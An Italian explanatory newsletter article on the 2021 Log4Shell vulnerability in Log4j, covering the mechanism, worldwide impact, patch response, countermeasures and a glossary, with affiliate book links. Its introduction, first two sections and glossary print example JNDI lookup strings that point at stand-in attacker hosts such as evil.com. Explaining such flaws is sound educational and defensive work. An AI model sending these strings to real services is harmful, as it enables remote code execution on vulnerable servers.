Nel sottobosco del software moderno, ci sono meccanismi che non si vedono mai, ma che osservano tutto.
Registrano ogni passo, ogni errore, ogni tentativo.
Sono i log: testimoni discreti del nostro rapporto con la tecnologia.
E in quel silenzioso sottofondo di messaggi, eccezioni e debug, si nascondeva un demone.
Era il mese di Dicembre e correva l’anno 2021.
Nel bel mezzo della stagione degli aggiornamenti dimenticati e delle email fuori ufficio, arriva una scoperta che congela l’intero ecosistema IT: una semplice stringa di testo — un comando mimetizzato nel linguaggio dei log — può prendere il controllo di un server.
Non servivano magia nera, né accessi privilegiati: bastava che un’applicazione facesse ciò per cui era stata progettata, ovvero loggare.
Log4Shell, come fu subito chiamata la vulnerabilità, non era un attacco.
Era un’iniezione di fiducia malriposta, un’eco di codice ripetuta così a lungo, da diventare sorda al pericolo.
E proprio lì, dove tutto sembrava sotto controllo, il sistema mostrò la sua vera fragilità.
BUG ARCHEOLOGY – EPISODIO 17
“La certezza è il conforto dei semplici, ma l’incertezza è il stimolo degli audaci”— William Blake
👶 Introduzione per chi parte da zero
(o: cos’è Log4Shell se non sei un esperto di sicurezza o programmazione; in fondo all’articolo troverai anche un glossario)
Nel mondo del software, le applicazioni fanno molte cose: parlano con utenti, salvano dati, eseguono operazioni… e, silenziosamente, scrivono tutto quello che succede in un diario chiamato log.
👉 I log sono come appunti automatici: “L’utente ha fatto login”, “Il sistema ha dato errore”, “Il pagamento è andato a buon fine”.
Questi appunti servono a:
- capire cosa è successo in caso di problemi,
- analizzare il comportamento degli utenti,
- investigare su eventuali attacchi.
Per scrivere questi log, molti programmi usano una libreria: un pezzetto di codice riutilizzabile, creato da altri. Nel mondo Java, una delle più famose è Log4j (si legge “log-for-jay”).
Nel dicembre 2021, è stata scoperta una falla gravissima in Log4j: bastava inserire una stringa particolare in un messaggio che veniva poi registrato nei log, per prendere il controllo del server.
Non serviva né essere dentro il sistema, né una password e nemmeno inviare un attacco complicato.
Se tu scrivi:
Mario Rossi→ il sistema registra nei log: “Nuovo utente: Mario Rossi”.
Ma se tu scrivi:
${jndi:ldap://evil.com/malware}→ il sistema non scrive e basta. Prova a interpretare quel testo, va a contattare evil.com, scarica del codice e… lo esegue automaticamente.
Questo è Log4Shell: una vulnerabilità così semplice da sfruttare, ma così diffusa da diventare uno dei più grandi problemi di sicurezza informatica degli ultimi anni.
In breve:
- Una libreria usata per scrivere messaggi ha iniziato a interpretare istruzioni.
- Gli hacker hanno scoperto che potevano inviare comandi camuffati da messaggi.
- E quei comandi venivano eseguiti dal server, senza controllo.
Perché è stato un disastro?
- Log4j era ovunque: milioni di applicazioni nel mondo lo usavano (spesso senza saperlo).
- Facile da sfruttare: bastava mandare un messaggio, anche senza autenticazione.
- Pericoloso: permetteva di eseguire comandi sul server — cioè Remote Code Execution (RCE).
I. Il sintomo: quando loggare diventa un rischio
Immagina un’applicazione qualsiasi: un e-commerce, un sistema di autenticazione, una chat multiplayer, un’interfaccia di gestione per un termostato intelligente.
Ora pensa come questa applicazione registra — diligentemente — ogni interazione, ogni errore, ogni evento sospetto. Fa il suo dovere: logga.
Ecco il punto critico: basta una stringa come questa…
${jndi:ldap://attaccante.evil/Exploit}…e la libreria di logging, Log4j, non si limita a scrivere il messaggio.
Lo interpreta.
Lo esegue.
Contatta un server remoto.
Scarica istruzioni.
E le esegue come codice, all’interno del tuo sistema.
Non c’è bisogno di un attacco complesso, di malware, di accessi compromessi.
Basta loggare un messaggio malformato — o meglio: ben formato, ma malevolo.
Il messaggio può arrivare in tanti modi: un nickname in un gioco online, l’User-Agent di una richiesta HTTP, l’ID di una stampante di rete, perfino il nome di un dispositivo IoT.
Log4Shell ha ribaltato il paradigma: l’attacco non veniva eseguito “dopo” l’errore — ma attraverso la registrazione dell’errore stesso.
Il log, da testimone, diventava veicolo.
Un po’ come se il diario segreto di un castello, annotando un nome sospetto, aprisse spontaneamente i cancelli.
II. Il bug: un’iniezione nella radice del logging Java
Per capire la grazia letale di Log4Shell, bisogna seguire una catena di passaggi apparentemente innocui che insieme formano un meccanismo distruttivo.
- Interpolazione dinamica
Log4j offre una comodità: permette di inserire variabili e riferimenti dinamici nelle stringhe di log. Questa interpolazione trasforma messaggi statici in contenuti “intelligenti” che possono risolvere espressioni in fase di runtime.
L’idea è elegante: inserire${user}o${env:PATH}e avere il logger che sostituisce automaticamente il valore. Un’abitudine comoda per sviluppatori pigri (o pragmatici). - JNDI — il telefono del Java
JNDI (Java Naming and Directory Interface) è un’API che consente a componenti Java di ottenere riferimenti a risorse esterne — oggetti remoti, directory LDAP, servizi RMI. Funziona come una rubrica nella quale chiedere: “Dammi l’oggetto X all’indirizzo Y”.
Il problema nasce quando l’interpolazione delle stringhe di Log4j risolve riferimenti JNDI: se la stringa loggata contiene un riferimento JNDI, Log4j può provare a contattare l’URL specificato. - Una chiamata di rete che diventa esecuzione
Metti insieme interpolazione e JNDI: se logghi${jndi:ldap://evil.example/a}, Log4j contattaevil.example, recupera un oggetto (o un riferimento a codice) e lo carica — potenzialmente eseguendo codice remoto. Questo è il cuore del problema: la normale operazione di logging scatena una comunicazione di rete e la possibilità di caricare codice arbitrario. - Semplicità dell’exploit
L’exploit non richiede permessi speciali, non necessita di autenticazione, non dipende dall’utente connesso. Può essere inserito in campi che vengono spesso loggati automaticamente: header HTTP (User-Agent), campi dei form, nomi nelle chat, username in una richiesta di autenticazione. Un singolo input malevolo, se scritto e loggato, può aprire la porta. - RCE: l’ultimo atto
Quando l’attaccante riesce a far risolvere ed eseguire il codice remoto, ottiene Remote Code Execution (RCE): la possibilità di eseguire comandi sul server vittima. Da lì, il passo verso la persistenza, l’esfiltrazione di dati, il movimento laterale e l’uso del server per ulteriori attacchi è breve. - Varianti e aggravanti
Dopo la scoperta iniziale (CVE-2021-44228), si sono identificate varianti e meccanismi associati che complicavano il quadro: bypass di mitigazioni semplici, chaining con altre librerie, uso di protocolli differenti (LDAP, RMI, DNS per data exfiltration), e la moltiplicazione dell’attacco tramite scan automatici su larga scala.
Perché una libreria di logging non dovrebbe mai comportarsi così (ma lo fece)
In teoria, un logger scrive, nient’altro.
In pratica, l’ingenuità progettuale — “rendiamo tutto utile e flessibile” — introdusse una superficie d’attacco enorme:
- la logica di resolving fu implementata con un livello di fiducia eccessivo;
- l’interazione con servizi di rete non fu considerata una responsabilità critica del logging;
- la diffusione massiva di Log4j (tramite dipendenze dirette e indirette) amplificò il danno potenziale.
È l’antico paradosso dell’ingegneria: le comodità che accelerano lo sviluppo spesso degradano la superficie di sicurezza se non accompagnate da confini netti e sane precauzioni.
III. Il contesto: tutti vulnerabili, ovunque
Il tratto distintivo di Log4Shell non fu tanto la tecnica — che, a posteriori, sembra quasi banale — quanto la pervasività della dipendenza. Log4j era (ed è) una colonna sonora su cui si sovrappongono milioni di applicazioni: framework, middleware, plugin, agenti di monitoring, servizi cloud, container, applicazioni embedded.
In molti casi non era una scelta esplicita degli sviluppatori: la libreria arrivava “in prestito” insieme ad altri pacchetti. Questo significa che un problema in un singolo componente può tradursi in un’emergenza globale, perché il codice si propaga attraverso supply chain lunghe e opache.
Quando una libreria che scrive i log comincia a parlare al mondo esterno, il mondo intero risponde. Bot automatici iniziano a scansionare l’Internet pubblica, cercando pattern di exploit. Aziende grandi e piccole scoprono — talvolta solo dopo ore o giorni — che i loro sistemi stanno chiamando server sconosciuti e caricando payload esterni. Il panico si propaga più velocemente del codice immune.
IV. La risposta: patch, emergenza e improvvisazione
La risposta a Log4Shell fu, nei fatti, una gigantesca operazione di contenimento — fatta di patch, regole temporanee, blacklist e, soprattutto, improvvisazione. Le linee d’azione principali furono:
- Rilascio rapido di fix da parte del progetto Apache Logging; versioni multiple e successive per coprire casi limite.
- Mitigazioni temporanee (es. disabilitare la lookup di JNDI, impostare proprietà di sistema per bloccare protocolli remoti).
- Corsa allo scanner: strumenti open source e commerciali per ricercare istanze di Log4j negli asset aziendali e nelle immagini container.
- Blocchi di rete e WAF per bloccare richieste sospette in ingresso/uscita.
- Hardening e isolamento: in molti ambienti si limitarono i permessi, si segmentarono le reti e si isolò il traffico di servizio.
- Comunicazione d’emergenza: team di sicurezza, executive e legali collaborarono per gestire l’impatto e informare stakeholder e clienti.
Ma la fretta generò anche errori: patch non testate entrarono in produzione, mitigazioni incomplete furono rimosse troppo presto, e molte organizzazioni si resero conto di non avere una mappatura chiara degli asset. In quell’epoca ogni sysadmin imparò (o ricordò) che la sicurezza non si improvvisa: necessita di preparazione, visibilità e procedure.
V. Le implicazioni filosofiche: fiducia, opacità e il costo dell’ignoranza
Log4Shell non è solo un caso tecnico: è una parabola sul rapporto umano con il software. Tre lezioni non tecniche emergono con chiarezza:
- Fiducia cieca vs. fiducia informata
Affidarsi a una libreria perché “lo fanno tutti” è un atto di fiducia cieca. La vera fiducia richiede visibilità: sapere cosa c’è, chi lo mantiene, quali meccanismi espone. - Opacità delle supply chain
Sistemi costruiti su codice di terzi richiedono un bilancio tra velocità e controllo. L’opacità riduce la nostra capacità di intervenire prontamente quando qualcosa va storto. - Il principio di minima fiducia
Un componente non deve avere più privilegi del necessario — né i suoi comportamenti dovrebbero poter avviare connessioni o caricare codice senza esplicita autorizzazione.
In breve: Log4Shell ci ricorda che costruire software è anche costruire fiducia sociale. E come ogni contratto sociale, va curato.
VI. I danni: numeri mancanti, impatti diffusi
A differenza di un incidente centralizzato (come il caso Equifax), Log4Shell fu più simile a una tempesta: estesa, variabile, spesso silenziosa. Non c’è un unico conto da pagare; ci sono tante micro-ferite:
- server compromessi e usati per mining o pivoting;
- perdita temporanea di servizi, downtime e costi di remediation;
- tempo uomo dedicato a discovery e patching;
- possibili data breach non rivelati pubblicamente;
- aumento dei costi assicurativi e maggiore attenzione regolatoria.
L’effetto collaterale forse più significativo è immateriale: una maggiore consapevolezza del rischio sistemico della supply chain software, e la perdita di quell’innocenza operativa che molti team avevano nei confronti delle dipendenze.
VII. Le contromisure: pratiche praticabili — subito e nel tempo
Dalla gestione delle patch alle riorganizzazioni culturali, ecco le misure concrete che ogni organizzazione (piccola o grande) dovrebbe considerare:
Tecniche (immediate)
- Inventario e SBOM: conoscere cosa è in uso, versione per versione.
- Scansione e monitoraggio: SCA (Software Composition Analysis) e scanner dinamici per individuare istanze vulnerabili.
- Limitare JNDI e disabilitare lookup non necessari nelle librerie di logging.
- WAF e regole di rete per bloccare schemi di exploit conosciuti.
- Minimize attack surface: rimuovere o disabilitare moduli non necessari.
Organizzative (strategiche)
- Policy di gestione dipendenze: owner per ciascun componente, SLA per patching.
- Automazione del patch management e dei deploy: ridurre la latenza tra fix e produzione.
- Esercitazioni di incident response focalizzate sulle supply chain.
- Investire in OSS: contribuire o sponsorizzare progetti chiave usati in produzione.
- Cultura della verifica: code review anche per terze parti, bounded by budget e priorità.
VIII. Le lezioni: oltre il panico
Se c’è una morale pratica, è duplice:
- La prevenzione paga — un ridotto investimento in inventario, auditing e automazione si traduce quasi sempre in costi di remediation più bassi e meno danni reputazionali.
- La resilienza conta — non possiamo eliminare ogni rischio; possiamo però ridurre il raggio d’azione, segmentare, monitorare e rendere l’impatto gestibile.
In termini più umani: Log4Shell ci ha ricordato che la sicurezza è un mestiere collettivo, distribuito, fatto di piccoli compiti costanti più che di grandi gesti eroici.
IX. Epilogo: scrivere il futuro nei log
Chiudi gli occhi (solo per un secondo) e immagina il sistema come una città: log sono le telecamere, le luci delle strade, i messaggi in bottiglia lasciati dai cittadini digitali. Log4Shell ci ha insegnato che anche la segnaletica può diventare un’arma se costruita senza limiti.
Non si tratta di demonizzare la complessità — è la condizione stessa del progresso — ma di riconoscere che complessità senza cura diventa pericolosa. Il lavoro dello sviluppatore, dell’architetto, del security engineer non è solo risolvere bug: è creare pratiche e istituzioni che impediscano ai bug di trasformarsi in demoni.
🧰 Bug Survival Kit #17 – Log4Shell Edition
Cose da leggere, usare e non lasciare mai disconnesse.
📚 Libri per capire (e sopravvivere)
- Antifragile – Nassim Nicholas Taleb
Perché non basta sopravvivere agli errori: bisogna diventare più forti grazie a essi. Un saggio fondamentale per chi si muove tra vulnerabilità e complessità.
Formato CARTACEO
Formato KINDLE - Countdown to Zero Day – Kim Zetter (edizione inglese)
Il racconto definitivo di Stuxnet, il “worm atomico”. Documentario in forma di libro. Per chi vuole capire cosa accade quando il software diventa geopolitica.
Formato CARTACEO
Formato KINDLE - The Art of Exploitation – Jon Erickson
Un libro culto: tecnica, codice C, assembly e hacking raccontati con stile. Non è solo teoria: include esempi reali, shellcode, buffer overflow.
Formato CARTACEO
Formato KINDLE
🔐 Gadget da campo
- YubiKey 5C NFC – chiave di sicurezza hardware
Perché la 2FA via SMS è come chiudere la porta di casa con un lucchetto giocattolo. - USB Data Blocker – adattatore anti-intercettazione
Proteggi il tuo dispositivo quando ti colleghi a una presa pubblica. Fidarsi è bene, filtrare è meglio.
⚠️ Tutti i link sono affiliati: se acquisti da qui, supporti la rubrica senza costi aggiuntivi.
☕ Una porzione del ricavato viene reinvestita in caffeina e bug da scavare.
⚡ Questo nodo della rete è alimentato da conoscenza libera e caffeina.
Se hai trovato qualcosa di utile, puoi supportarci con un caffè digitale.
👉 Offrimi un caffè
Powered by Buttondown
📘 Glossario essenziale per capire Log4Shell
Log / Logging
📌 Registrazione automatica di ciò che succede in un sistema.
- Esempio: “Utente Mario si è loggato alle 10:42”, “Errore 404 su /pagina-inesistente”.
- I log aiutano a debuggare problemi, monitorare il sistema e analizzare attacchi.
Log4j
📌 Una libreria (pezzo di codice) usata in molti programmi Java per scrivere log.
- Molto popolare e usata in tantissime applicazioni (anche senza saperlo).
- È qui che si trovava la vulnerabilità Log4Shell.
Libreria
📌 Un insieme di funzioni pronte all’uso che un programmatore può “importare” nel proprio software.
- Esempio: Log4j è una libreria per scrivere log.
- Pro: velocizza lo sviluppo. Contro: se ha un bug, lo eredita anche il tuo software.
Vulnerabilità
📌 Un difetto nel software che può essere sfruttato da un attaccante.
- In Log4j, la vulnerabilità permetteva di eseguire comandi inviando solo una stringa di testo.
Exploit
📌 Il metodo pratico per sfruttare una vulnerabilità.
- Esempio: inviare
${jndi:ldap://evil.com/virus}a un server vulnerabile → il server esegue codice da evil.com.
JNDI (Java Naming and Directory Interface)
📌 Un sistema di Java per cercare risorse (oggetti, servizi) su una rete.
- Funziona un po’ come una rubrica: “dimmi dove trovare questo oggetto”.
- Il problema: Log4j chiamava JNDI automaticamente, senza chiedere permesso.
LDAP (Lightweight Directory Access Protocol)
📌 Un protocollo di rete usato per cercare informazioni in directory (elenchi, archivi).
- Usato insieme a JNDI per caricare risorse da un server remoto.
- Nell’exploit Log4Shell, è il canale attraverso cui viene caricato codice malevolo.
Remote Code Execution (RCE)
📌 La possibilità di eseguire codice su un computer da remoto (cioè via Internet).
- È uno degli attacchi più pericolosi, perché l’attaccante può fare qualsiasi cosa sul sistema.
Supply Chain Software
📌 Tutti i componenti di terze parti che il tuo software utilizza (librerie, plugin, pacchetti).
- Se uno solo di questi ha un bug, può mettere a rischio tutto il tuo sistema.
- Log4j era spesso incluso indirettamente, come dipendenza di una dipendenza.
Mitigazione
📌 Un’azione per ridurre il rischio, anche se non risolve del tutto il problema.
- Esempi: disattivare funzioni pericolose, filtrare messaggi sospetti, bloccare connessioni.
Patch
📌 Una correzione rilasciata dagli sviluppatori per sistemare un bug o una vulnerabilità.
- Dopo Log4Shell, Apache ha rilasciato più patch in pochi giorni per correggere il problema.
WAF (Web Application Firewall)
📌 Un sistema che controlla il traffico web per bloccare richieste pericolose.
- In Log4Shell, un WAF poteva aiutare a bloccare stringhe sospette prima che arrivassero al logger.
Scanner
📌 Uno strumento che controlla automaticamente se un sistema ha vulnerabilità conosciute.
- Dopo l’incidente, molti team hanno usato scanner per trovare Log4j vulnerabili nei propri server e container.
Incident Response
📌 La gestione di un’emergenza informatica (es. attacco, compromissione, furto di dati).
- Include: rilevamento, contenimento, comunicazione, correzione e prevenzione futura.
